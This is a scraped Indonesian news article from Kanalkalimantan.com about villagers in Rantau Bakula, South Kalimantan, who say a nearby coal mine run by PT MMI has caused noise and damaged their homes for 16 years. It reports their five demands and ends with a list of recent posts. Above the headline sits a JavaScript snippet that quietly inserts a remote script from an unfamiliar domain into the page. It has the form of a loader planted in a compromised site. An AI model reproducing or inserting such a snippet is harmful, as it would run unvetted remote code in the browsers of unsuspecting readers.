(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Suara Terhimpit Tambang dari Rantau Bakula yang Tak Pernah Didengar


KANALKALIMANTAN.COM, BANJARBARU – Mereka terhimpit di tanah kampung sendiri. Keseharian dari pagi, siang hingga malam hari sangat terganggu. Bahkan ketika lelap dalam peraduan, warga Desa Rantau Bakula tak pernah lelap tidur dengan nyenyak dan nyaman, gegara terdesak aktivitas perusahaan tambang batu bara.

Warga Rantau Bakula menyebut bahwa perusahaan yang beroperasi di wilayah mereka adalah PT Merge Mining Industry (MMI). Menurut mereka, jarak perusahaan yang terlalu dekat hanya puluhan meter dari permukiman menyebabkan kerusakan lingkungan sangat sulit dihindari.

Mariadi, salah satu warga yang rumahnya berada paling dekat dengan lokasi tambang, mengaku kondisi tersebut sudah berlangsung selama 16 tahun tanpa penyelesaian.

Baca juga: Jeritan Derita Warga Rantau Bakula Hidup Dihimpit Konsesi Batu bara

“Belakang rumah saya siang malam ada tronton, ada alat berat. Pencucian batu bara yang suaranya menggelegar. Rumah-rumah warga Rantau Bakula itu mayoritas sudah hampir ambruk,” ujar lelaki 53 tahun dalam Diskusi bertajuk “Mendengar Rantau Bakula dari Dekat: Derita di Relung Konsesi Batu bara” yang berlangsung di Biji Kopi Banjarbaru, Kamis (14/11/2025),.

Pariyun, warga Rantau Bakula lain mengaku sudah mengadu ke Dewan Perwakilan Rakyat Daerah (DPRD) Kalimantan Selatan (Kalsel) dan anggota Komisi III telah terjun melihat situasi lapangan dan berkomitmen membela rakyat, namun hasilnya tetap nihil.

Keluh kesah mereka tak pernah digubris pemangku kepentingan baik dari tingkat desa, kecamatan, kabupaten hingga provinsi. Nyaris suara mereka tidak pernah didengar, meski pernah didatangi sejumlah wakil rakyat, hasilnya nol besar.

Baca juga: Tanaman Sayur di Kurnia Ujung Terganggu Cuaca Tak Menentu

“Sampai dewan itu membela rakyat dan komentar banyak saat kunjungan di sana, ini gak layak, nanti saya kawal, tapi nyatanya sampai sekarang gak ada reaksi apa-apa,” jelasnya.

Merasa tidak dihiraukan pemerintah daerah, Pariyun bersama teman-teman Rantau Bakula berusaha mengumpulkan dana untuk membawa masalah ini ke pemerintah pusat demi mencari keadilan.

“Walaupun dengan risikonya, jalan kaki pun tetap saya jalani karena saya punya tempat cuma itu saja, sebagai buruh tani sehari makan saja masih kurang,” tegasnya.

Baca juga: Rehabilitasi Jalan Sukamara Makan Korban, Dinas PUPR Banjarbaru Beri Penjelasan

Besar harapan Pariyun, Presiden RI Prabowo Subianto, Menteri Energi Sumber Daya Mineral (ESDM) RI Bahlil Lahadalia, dan Komisi III DPR RI Habiburokhman mendengar keluhan warga Rantau Bakula.

“Ibaratnya menangis tiap malam gak bisa istirahat susah karena kebisingan, silahkan datang ke tempat saya untuk membuktikan kalau saya dikira mengada-ngada, batu bara itu menjulang tinggi di atas rumah,” tutur Pariyun.

Atas kondisi tersebut, warga Rantau Bakula mengeluarkan pernyataan sikap dengan lima tuntutan sebagai berikut:

1. Kami menuntut kepada PT MMI untuk segera melakukan pembebasan lahan dan rumah warga yang terdampak secara menyeluruh, bukan sekadar perbaikan atau pergantian sebagian bangunan;

2. Meminta kepastian penyelesaian pembebasan lahan paling lambat pertengahan Desember 2025;

3. Apabila hingga batas waktu tersebut tidak ada penyelesaian yang nyata, kami menuntut agar seluruh aktivitas pertambangan termasuk alat pencucian batubara dan angkutan truk dihentikan sementara;

4. Menuntut pemerintah daerah dan instansi terkait untuk turun langsung meninjau kondisi lapangan serta memastikan hak-hak warga terpenuhi sesuai ketentuan hukum yang berlaku;

5. Menolak segala bentuk intimidasi atau tekanan kepada warga yang menyerukan keberatan dari tuntutan ini. kami menegaskan bahwa perjuangan ini bukan semata demi kepentingan individu melainkan demi keselamatan bersama lingkungan hidup yang layak dan masa depan anak-anak kami Desa Rantau Bakula. (Kanalkalimantan.com/fahmi)

Reporter: fahmi
Editor: bie


Muhammad Andi

Recent Posts

Resmi! UMP Kalimantan Timur 2026 Naik 5,12%, Jadi Rp3,76 Juta

Upah Minimum Provinsi (UMP) Kalimantan Timur 2026 telah ditetapkan dan ditandatangani oleh Gubernur Rudy Mas’ud… Read More

2 jam ago

Tahun Baru Masalah Lama, Banjir Rendam Pemurus Dalam

KANALKALIMANTAN.COM, BANJARMASIN – Mengawali pergantian tahun, Kota Banjarmasin diguyur hujan dari pagi hingga petang, Kamis… Read More

16 jam ago

Tanpa Pesta Kembang Api, Puncak Batfest 2025 Meriah Dihentak Musisi Papan Atas

KANALKALIMANTAN.COM, BATULICIN - Meski tanpa pertunjukan pesta kembang api, malam pergantian tahun 2025 ke 2026… Read More

18 jam ago

UMK Banjarbaru Rp3,8 Juta, Lebih Besar dari UMP Kalsel

KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kota (Pemko) Banjarbaru mengumumkan Upah Minimum Kota (UMK) berdasarkan Keputusan Gubernur… Read More

23 jam ago

Tahun 2026 Bupati Sahrujani Berharap HSU Semakin “Bangkit’” ‎‎

KANALKALIMANTAN.COM, AMUNTAI – Bupati Hulu Sungai Utara (HSU) H Sahrujani mengharapkan agar Kabupaten HSU pada… Read More

1 hari ago

PWI Kalteng Gelar Konferda, PLN UPT Palangkaraya Terima Penghargaan Peduli Pers

KANALKALIMANTAN.COM, PALANGKARAYA - Persatuan Wartawan Indonesia (PWI) Provinsi Kalimantan Tengah menggelar Konferensi Kerja Daerah (Konferda)… Read More

2 hari ago

This website uses cookies.